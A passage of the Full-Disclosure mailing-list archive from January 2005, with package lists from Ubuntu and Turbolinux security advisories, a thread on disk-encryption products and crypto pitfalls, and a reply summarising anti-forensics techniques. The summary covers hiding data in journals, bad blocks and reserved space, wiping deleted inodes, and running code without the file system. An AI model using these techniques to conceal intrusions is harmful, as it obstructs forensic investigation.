    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_i386.deb
      Size/MD5:   377152 55d3b656566987d140d2677d1c0de61c
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_i386.deb
      Size/MD5:   484640 da71290705c6f6f6faf1d6dc254bf4a6

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   917362 652d1cd08236a6557e44d87b67e4dd16
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:  9225702 033e91323439c25a000b604423d71d46
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   511036 e66e2283e7a70758989198fbf9ebb613
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   506852 a8bd4a1633e5d6c8ba51d01134fee992
    http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   278286 b25fd9ebbeeafeeb3867828251218d08
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_powerpc.deb
      Size/MD5:   395396 4eafd593de2508a0c574929718476320
    http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_powerpc.deb
      Size/MD5:   488664 74541bd75de68e04a43cf61c3c7a276f
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/8253feb2/attachment.bin 

From bcs2005 at bellua.com  Fri Jan 21 04:20:42 2005
From: bcs2005 at bellua.com (Anthony Zboralski)
Date: Fri, 21 Jan 2005 11:20:42 +0700
Subject: [Full-Disclosure] Re: [ISN] Book Review: Forensic Discovery
In-Reply-To: <20050120155527.36384.qmail@web42108.mail.yahoo.com>
References: <20050120155527.36384.qmail@web42108.mail.yahoo.com>
Message-ID: <D02FDCC1-6B63-11D9-97C7-000A95B1B62E@bellua.com>

> This article in Phrack is being cited as this guys
> qualifications for conducting a security seminar?
> Getting fired for writing an article (an article so
> clueless --devoid of substance-- as this one) is cited
> as a good thing (just because it appeared in phrack)?
> Phrack Editors: please apply some standard in choosing
> articles, because people do think that having an
> article published in phrack amounts to something, and
> mostly your articles are superb (except when you plug
> articles like this because your friend wrote it)
>
> Just because one tool does not check bad cluster,
> doesn't mean that you can use this method of data
> hiding to defeat forensics as a whole.

It seems that Dan Farmer and Wieste Venema are less than
forthcoming regarding the problems their forensic package,
'The Coronor's Toolkit' (TCT) has had in the past, and still
has today.

The Phrack 59 article's old! Have you checked the latest slides and
articles or watch the grugq's speech before posting your flame bait?

http://www.hert.org/z/grugq.torrent

A lot of incompetent people buy commercial products like encase
or download TCT and improvise themselves "Forensic Experts".

In the Art of Defiling, Grugq talks about:

* Trivial ways to defeat file system forensic tools,
e.g. sanitizing deleted inodes and directory entries

* TCT specific issues (some of them have been fixed):
   incorrect ext2 implementation
   bad bounds checking
   lame pseudo codes, and more

* Most forensic tools don't look for data in:
Journals (e.g. ext3 journal), directory files, OLE2 files, bad blocks,
inode reserved space, null directory entries,  file system meta
data structures (reserve space, padding)

* Simple ways to avoid using the file system, e.g. using gdb stubs
(libgdbrpc) http://www.phrack.org/show.php?p=62&a=8 and
ul_exec() http://www.hcunix.net/papers/grugq_ul_exec.txt

> Anthony Zboralski: We would expect yot to plug some
> article with substance when you promote your speaker
> and conference in a lot of security mailing lists. Oh
> yeah and you are going to jail if you talk about
> anti-forensics in US, you stupid promoter.

If the PATRIOT ACT makes discussing these problems
illegal!? Is the future of security research in jeopardy
because only a one sided view can legally be presented to us.

Anthony

-- 
Bellua Cyber Security Asia 2005 - http://www.bellua.com/bcs2005
21-22 March - The Workshops - 23-24 March - The Conference
bcs2005 at bellua.com - Phone: +62213918330 HP:+628159102495



From frank at knobbe.us  Fri Jan 21 06:23:40 2005
From: frank at knobbe.us (Frank Knobbe)
Date: Fri, 21 Jan 2005 00:23:40 -0600
Subject: [Full-Disclosure] harddisk encryption
In-Reply-To: <31972.1106213279@www38.gmx.net>
References: <31972.1106213279@www38.gmx.net>
Message-ID: <1106288620.478.8.camel@localhost>

On Thu, 2005-01-20 at 10:27 +0100, Lentila de Vultur wrote:
> i'm evaluating a software that performs harddisk encryption for deploying in
> my company. the software in question is utimaco safeguard easy v4.10
> (www.utimaco.com) running on w2k.
> 
> i am interested in communitty's oppinion about this product.

Since others are still throwing in their recommendations, let me add
mine as well. Back in the days when I used Windows, I really liked
HardDisk Encryption Plus from PCGuardian (www.pcguardian.com). It is a
full-disk encryption program (or just a partition if you like). My old
NT4 laptop was encrypted with it. No problems. Nice admin and recovery
features. But what I really liked was the transparent encryption of the
whole disk which you unlocked with a password on boot-up.
I believe they still offer eval versions. Feel free to give them a try.

Regards,
Frank

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 187 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/34399be1/attachment.bin 

From stefan.schlott at informatik.uni-ulm.de  Fri Jan 21 06:25:33 2005
From: stefan.schlott at informatik.uni-ulm.de (Stefan Schlott)
Date: Fri, 21 Jan 2005 07:25:33 +0100
Subject: [Full-Disclosure] harddisk encryption
In-Reply-To: <41F05DD8.6070309@pwarchitects.com>
References: <31972.1106213279@www38.gmx.net>
	<41EFF4C5.2070809@ebay.com>	<41F005D3.2070406@pwarchitects.com>
	<41F05DD8.6070309@pwarchitects.com>
Message-ID: <41F0A05D.4040601@informatik.uni-ulm.de>

dk wrote:

> Forgot to mention:
> 
> http://sourceforge.net/projects/loop-aes/
> 
> ...if you ever decide to use Linux as a host OS.

...and for Windows users: http://truecrypt.sourceforge.net/ seems to 
make a good impression...


From Valdis.Kletnieks at vt.edu  Fri Jan 21 07:37:25 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Fri, 21 Jan 2005 02:37:25 -0500
Subject: [Full-Disclosure] harddisk encryption 
In-Reply-To: Your message of "Fri, 21 Jan 2005 00:23:40 CST."
	<1106288620.478.8.camel@localhost> 
References: <31972.1106213279@www38.gmx.net> <1106288620.478.8.camel@localhost>
Message-ID: <200501210737.j0L7bP0Q023370@turing-police.cc.vt.edu>

On Fri, 21 Jan 2005 00:23:40 CST, Frank Knobbe said:

> Since others are still throwing in their recommendations, let me add
> mine as well. Back in the days when I used Windows, I really liked
> HardDisk Encryption Plus from PCGuardian (www.pcguardian.com). It is a
> full-disk encryption program (or just a partition if you like). My old
> NT4 laptop was encrypted with it. No problems. Nice admin and recovery
> features. But what I really liked was the transparent encryption of the
> whole disk which you unlocked with a password on boot-up.
> I believe they still offer eval versions. Feel free to give them a try.

(Not getting on PCGuardian in particular.. it's an endemic problem)

It's almost trivially easy to make a product that *looks* like it's
working.  Doing crypto *right* is a lot more challenging, and there's
a lot of snake-oil crypto out there.  Some of the people think they
really know what they're doing, and some don't care that they don't....

A *partial* list of things to look at:

1) Is the basic crypto algorithm something considered secure?  Or are
they using their own cypher which may be totally borked?  Probably still
a lot of code out there using single-DES even though that's not enough
these days - and a certain company brought DMCA charges against a Russian
programmer for revealing their "secret sauce" was rot-13.  Some even
advertise their "top secret 16000-bit encryption" - any idiot can design
a crypto system they don't know how to break.  Building one that nobody else
can break is incredibly tough (how many cryptographers have designed more
than one system that stood up to more than a few years of attempts to
break it?)

2) Is key management done correctly?  This is the next big weak area for most
systems.  It may keep a copy of the key around in memory or on disk. If it uses
a passphrase to scramble an on-disk private key, it may allow too-low entropy
limits on the passphrase.  Consider suspect anything that advertises "key
recovery" so upper management can get the files back even if a key employee
dies/leaves and takes the passphrase with them - the number of crypto experts
that can correctly implement a key escrow or a threshold secret sharing scheme
is much lower than the number of companies selling stuff that claims to do it.

3) Initialization Vectors:  another tricky spot.  For instance, the current
Linux 'cryptoloop' is known to have an IV scheme that suffers from a watermark
attack - if you store content provided by an attacker, they can insert a
"watermark" in the data which allows them to conclusively prove their data is
on your disk even without knowing the encryption key. This can be a *serious*
issue if you are, for example, trying to use encryption to hide a pirated copy
of an album from the ??AA copyright police - if they can hand you (possibly via
a series of intermediaries) a .MP3 or a movie that they control the bits. they
can "tag" it so they can prove it's on your disk...

4) Information leakage - is it possible to get the software to cough up any
internal state information it shouldn't?

That's just a *partial* list of holes that crypto software can be
carrying around.

And consider the only reason that anybody ever uses crypto for anything - a
hidden crypto hole that you don't know about is is infinitely worse than a bug
that merely renders it visibly dead and useless....

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/01e23276/attachment.bin 

From Bas.Hendriks at pinkroccade.com  Fri Jan 21 09:04:00 2005
From: Bas.Hendriks at pinkroccade.com (Hendriks Bas)
Date: Fri, 21 Jan 2005 10:04:00 +0100
Subject: [Full-Disclosure] RE: Full-Disclosure Digest, Vol 2, Issue 44
Message-ID: <3BE93FC8D8619B47BCB7D5920DF3F17E0181C004@ASP1EC1VS1.ASP1.LAN>

The link is not ok should be:
http://xyz.lanl.gov/abs/cs.CR/0501038

-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com]On Behalf Of
full-disclosure-request at lists.netsys.com
Sent: donderdag 20 januari 2005 18:00
To: full-disclosure at lists.netsys.com
Subject: Full-Disclosure Digest, Vol 2, Issue 44


Send Full-Disclosure mailing list submissions to
	full-disclosure at lists.netsys.com

To subscribe or unsubscribe via the World Wide Web, visit
	https://lists.netsys.com/mailman/listinfo/full-disclosure
or, via email, send a message with subject or body 'help' to
	full-disclosure-request at lists.netsys.com

You can reach the person managing the list at
	full-disclosure-owner at lists.netsys.com

When replying, please edit your Subject line so it is more specific
than "Re: Contents of Full-Disclosure digest..."


Today's Topics:

   1. harddisk encryption (Lentila de Vultur)
   2. ASH Hashing Algorithm (seasonedpaper at djc.people.inodetech.com)
   3. [TURBOLINUX SECURITY INFO] 20/Jan/2005 (Turbolinux)
   4. Re: [ISN] Book Review: Forensic Discovery  (Anthony Zboralski)


----------------------------------------------------------------------

Message: 1
Date: Thu, 20 Jan 2005 10:27:59 +0100 (MET)
From: "Lentila de Vultur" <ledeve at gmx.net>
Subject: [Full-Disclosure] harddisk encryption
To: full-disclosure at lists.netsys.com
Message-ID: <31972.1106213279 at www38.gmx.net>
Content-Type: text/plain; charset="us-ascii"


hi,

i'm evaluating a software that performs harddisk encryption for deploying in
my company. the software in question is utimaco safeguard easy v4.10
(www.utimaco.com) running on w2k.

i am interested in communitty's oppinion about this product. has anyone
performed a detailed analysis of it? i googled around but i couldn't find
much information, except that the version 3.20 sr1 has earned an eal3
certification from the german federal agency for it security.

tia

-- 
this e-mail is certified content-free.

Sparen beginnt mit GMX DSL: http://www.gmx.net/de/go/dsl


------------------------------

Message: 2
Date: Wed, 19 Jan 2005 20:47:51 -0800 (PST)
From: seasonedpaper at djc.people.inodetech.com
Subject: [Full-Disclosure] ASH Hashing Algorithm
To: bugtraq at securityfocus.com
Cc: full-disclosure at lists.netsys.com
Message-ID:
	<48499.209.204.180.178.1106196471.squirrel at gobbleturkey.simpli.biz>
Content-Type: text/plain;charset=iso-8859-1

With the current class of cryptographic algorithms growing weaker we face
an increasingly large problem.  I went ahead took two SHA-2 algorithms and
created ASH-1 and ASH-2.  The modifications are algorithm neutral and
fairly simple, but add security and flexibility to the SHA family.

The hashing algorithm is detailed in this paper:
http://xxx.lanl.gov.nyud.net:8090/abs/cs.CR/0501038

Comments, criticism, and help all appreciated.

Thanks,
D.J. Capelis
Network Security and Cryptography Researcher


------------------------------

Message: 3
Date: Thu, 20 Jan 2005 15:35:51 +0900
From: Turbolinux <security-announce at turbolinux.co.jp>
Subject: [Full-Disclosure] [TURBOLINUX SECURITY INFO] 20/Jan/2005
To: security-announce at turbolinux.co.jp
Message-ID: <200501201536.01355.security-announce at turbolinux.co.jp>
Content-Type: Text/Plain;  charset="us-ascii"

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

This is an announcement only email list for the x86 architecture.
============================================================
Turbolinux Security Announcement 20/Jan/2005
============================================================

The following page contains the security information of Turbolinux Inc.

 - Turbolinux Security Center
   http://www.turbolinux.com/security/

 (1) xpdf -> Buffer overflow
 (2) libtiff -> Multiple vulnerabilities in libtiff
 (3) XFree86 -> Multiple vulnerabilities in libXpm
 (4) imlib -> Two vulnerabilities discovered in imlib

===========================================================
* xpdf -> Buffer overflow
===========================================================

 More information:
    Xpdf is an X Window System based viewer for Portable Document Format
    (PDF) files.  The buffer overflow was found in the Gfx::doImage function
    in Gfx.cc in xpdf version 3.00.

 Impact:
    These vulnerabilities may allow remote attackers to execute arbitrary
    code via malformed PDF files.

 Affected Products:
    - Turbolinux 10 Server

 Solution:
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 # turbopkg
 or
 # zabom -u xpdf
 ---------------------------------------------


 <Turbolinux 10 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/xpdf-3.00-5.src.rpm
      4604490 d33abd903ee32d277260d1c230dcfe70

 References:

 CVE
   [CAN-2004-1125]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1125


===========================================================
* libtiff -> Multiple vulnerabilities in libtiff
===========================================================

 More information:
    The libtiff package contains a library of functions for manipulating TIFF
    (Tagged Image File Format) image format files.

    Multiple issues exist in libtiff:
    - Multiple vulnerabilities in libtiff's RLE (run length encoding) decoders
    - Vulnerability in tif_dirread.c
    - Multiple integer overflows
    - Integer overflow in tif_dirread.c and tif_fax3.c

 Impact:
    These vulnerabilities may allow remote attackers to execute arbitrary
    code via malformed TIFF image files.

 Affected Products:
    - Turbolinux 10 Server
    - Turbolinux Home
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop
    - Turbolinux 8 Server
    - Turbolinux 8 Workstation
    - Turbolinux 7 Server
    - Turbolinux 7 Workstation

 Solution:
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
 # turbopkg
 or
 # zabom -u libtiff

 [other]
 # turbopkg
 or
 # zabom update libtiff
 ---------------------------------------------


 <Turbolinux Appliance Server 1.0 Hosting Edition>

   Source Packages
   Size: MD5

   libtiff-3.5.7-7.src.rpm
       972878 ed8bd0ef2bf2a1931610e91713a8d7c4

   Binary Packages
   Size: MD5

   libtiff-3.5.7-7.i586.rpm
       316109 2653e065f0c5fbc95c850a1dbf8ce385

 <Turbolinux Appliance Server 1.0 Workgroup Edition>

   Source Packages
   Size: MD5

   libtiff-3.5.7-7.src.rpm
       972878 0fd2512f0caa91f27d80619bdd246d51

   Binary Packages
   Size: MD5

   libtiff-3.5.7-7.i586.rpm
       316422 00d6b827b50c02990eec3768ae92d4c9

 <Turbolinux 10 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/libtiff-3.6.1-4.src.rpm
      1093717 362993a9fe4c86ebe19b244210a2b6cf

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-3.6.1-4.i586.rpm
       232659 0f1d0d2fb52c72d38cd9a4964d50ba25
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-debug-3.6.1-4.i586.rpm
       256539 3dfa5531c4c29444b7ee939f97ad8f35
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/libtiff-devel-3.6.1-4.i586.rpm
       509454 8c312bee14f08dca7f2dde75766ab191


 <Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/libtiff-3.5.7-7.src.rpm
       972878 ad86cfa9f29064a6457eae596dbe0020

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/libtiff-3.5.7-7.i586.rpm
       222710 7e3dc3844942811aee6aea8c405e3628
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/libtiff-devel-3.5.7-7.i586.rpm
       469753 4918c1f7b75335f9bfe3d96d322a0961

 <Turbolinux 8 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/libtiff-3.5.7-7.src.rpm
       972878 ecea2012e0d8eaea72d27141e3b112bf

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/libtiff-3.5.7-7.i586.rpm
       316627 cad5ce73c1d9e515f390461cf4a72126
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/RPMS/libtiff-devel-3.5.7-7.i586.rpm
       595504 13bcf43c5208b27d485eb6e096cca14b

 <Turbolinux 8 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/SRPMS/libtiff-3.5.5-7.src.rpm
       918710 d507119975f6299adf197181f4eda89a

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/libtiff-3.5.5-7.i586.rpm
       738427 a3bc600c346754b83b8e5932908955e7
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/8/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm
       632579 6ab0c04ac7ef41df03073e56d622da8f

 <Turbolinux 7 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/SRPMS/libtiff-3.5.5-7.src.rpm
       918710 9fd2675fa8d5146faf3bffab02ae08ab

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/libtiff-3.5.5-7.i586.rpm
       702575 958636e2ddf39b68b77f346671c7d10c
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/7/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm
       621763 05e2d24f8f16e3f10c690b03929db76f

 <Turbolinux 7 Workstation>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/SRPMS/libtiff-3.5.5-7.src.rpm
       918710 b0b307c92d092a8dec1f5bb58ba81802

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/libtiff-3.5.5-7.i586.rpm
       702616 616c97ff0678e34a646f2d18b2f0b0d9
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Workstation/7/updates/RPMS/libtiff-devel-3.5.5-7.i586.rpm
       622017 4c1e95f277cc72f9dadc76e10da85eb8


 References:

 CVE
   [CAN-2004-0803]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0803
   [CAN-2004-0804]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0804
   [CAN-2004-0886]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0886
   [CAN-2004-1183]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183
   [CAN-2004-1308]
   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308


===========================================================
* XFree86 -> Multiple vulnerabilities in libXpm
===========================================================

 More information:
    XFree86 is an implementation of the X Window System, providing a core
    graphical user interface and video drivers.

    Multiple vulnerabilities have been discovered in the handling of libXpm
    for XFree86.

 Impact:
    These vulnerabilities may allow remote attackers to execute arbitrary
    code via malformed XPM image files.

 Affected Products:
    - Turbolinux 10 Server
    - Turbolinux Home
    - Turbolinux 10 F...
    - Turbolinux 10 Desktop
    - Turbolinux 8 Server
    - Turbolinux 8 Workstation
    - Turbolinux 7 Server
    - Turbolinux 7 Workstation

 Solution:
    Please use the turbopkg (zabom) tool to apply the update. 
 ---------------------------------------------
 [Turbolinux 10 Server, Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home]
 # turbopkg
 or
 # zabom -u XFree86-100dpi-fonts XFree86 XFree86-75dpi-fonts XFree86-Xvfb XFree86-contrib XFree86-cyrillic-fonts \
            XFree86-debug XFree86-devel XFree86-fonts XFree86-libs XFree86-twm XFree86-xcursor XFree86-xcursor-devel \
            XFree86-xf86config XFree86-xfs XFree86-xft XFree86-xft-devel
 [other]
 # turbopkg
 or
 # zabom update XFree86-100dpi-fonts XFree86 XFree86-75dpi-fonts XFree86-contrib \
                XFree86-cyrillic-fonts XFree86-devel XFree86-libs XFree86-xfs
 ---------------------------------------------


 <Turbolinux 10 Server>

   Source Packages
   Size : MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/SRPMS/XFree86-4.3.0-77.src.rpm
     56924470 eb845b3be235bb21aa0278a180623083

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-100dpi-fonts-4.3.0-77.i586.rpm
     12437623 ee386b128dc366a57b040bc805438605
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-4.3.0-77.i586.rpm
     17914136 7a51c84fdfeb84728ee8e34aa3b90bc3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-75dpi-fonts-4.3.0-77.i586.rpm
     10767930 1b4168835146c84115251d0fd8464ba3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-Xvfb-4.3.0-77.i586.rpm
      1767856 5df330993a65405eb845be1f1b6b12cd
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-contrib-4.3.0-77.i586.rpm
       466061 52cc4b83c716d6e79b9061868450f88f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-cyrillic-fonts-4.3.0-77.i586.rpm
       411823 5e81e96d9381c62f207442df6da45423
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-debug-4.3.0-77.i586.rpm
      1377048 aceb6c284ec571f145c482eedfbaef78
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-devel-4.3.0-77.i586.rpm
      5019869 cdc364bf982fad2ef0e6de217f3abd3d
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-fonts-4.3.0-77.i586.rpm
      8769483 0da5b1474b099bb2bf3d01edda792603
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-libs-4.3.0-77.i586.rpm
      2647941 0f28d2cffc3e1e84126d46262725f9e6
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-twm-4.3.0-77.i586.rpm
       117532 63709419ef668e12eae1520c55a767aa
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xcursor-4.3.0-77.i586.rpm
        50393 025e2a0e8ed4569c0b3ba36621eb426b
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xcursor-devel-4.3.0-77.i586.rpm
        47685 633730af58c2ec7aea3fb1579aeef630
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xf86config-4.3.0-77.i586.rpm
       317697 9df69cf1936d3ed833ca5acae1c403d7
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xfs-4.3.0-77.i586.rpm
        83290 c432d53f1cf1328521457d754022c6f4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xft-4.3.0-77.i586.rpm
        79480 80aabaa94ec8fc20f54acc2193d017b4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/10/updates/RPMS/XFree86-xft-devel-4.3.0-77.i586.rpm
        65413 99eba2b51bb1a97a70fd5b168a41aa30

 <Turbolinux 10 Desktop, Turbolinux 10 F..., Turbolinux Home>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/SRPMS/XFree86-4.3.0-77.src.rpm
     56924470 eb845b3be235bb21aa0278a180623083

   Binary Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-100dpi-fonts-4.3.0-77.i586.rpm
     12437426 b9111393e5ebdb113c6289988e18d5f3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-4.3.0-77.i586.rpm
     17895556 defec85ce43edc9fc38da3178a5a81c5
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-75dpi-fonts-4.3.0-77.i586.rpm
     10768171 0cc075e2c541b18e0b03c246aa733778
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-Xvfb-4.3.0-77.i586.rpm
      1770857 7303649f87334a166053f79daa58ea7e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-contrib-4.3.0-77.i586.rpm
       468946 f8b101e81546e121bff3b66580e0abca
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-cyrillic-fonts-4.3.0-77.i586.rpm
       411831 bde2193dbe541209df9db215e0e7af46
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-devel-4.3.0-77.i586.rpm
      5044863 800299b8040b044bcc98ea4a584958f9
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-fonts-4.3.0-77.i586.rpm
      8769933 adf97005250306846b5043ab4d20b91e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-libs-4.3.0-77.i586.rpm
      2650733 29503d891efdd23d4338453c8586f613
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-twm-4.3.0-77.i586.rpm
       117791 63d4137b167576f8d1d9160aa68e270e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xcursor-4.3.0-77.i586.rpm
        50522 317efcf80d9c80d4ee07e63c744f9508
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xcursor-devel-4.3.0-77.i586.rpm
        43701 a0fc3b3c692b2df34cd0f1f01062e7d4
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xf86config-4.3.0-77.i586.rpm
       319370 f382c487a8bec7dfc474d0ba0d8b42d3
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xfs-4.3.0-77.i586.rpm
        83644 db73fa54d5c7bd5505014ccf09b6cf1f
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xft-4.3.0-77.i586.rpm
        79556 bc989ac39f0aee3e90c78fa098e2057e
   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Desktop/10/updates/RPMS/XFree86-xft-devel-4.3.0-77.i586.rpm
        65526 cc883a49cc3094ec848e625619a533b2

 <Turbolinux 8 Server>

   Source Packages
   Size: MD5

   ftp://ftp.turbolinux.co.jp/pub/TurboLinux/TurboLinux/ia32/Server/8/updates/SRPMS/XFree86-4.2.0-31.src.rpm
     59402584 d2d88c18b1130b86927152ff03ece881

   Binary Packages
   Size: MD5

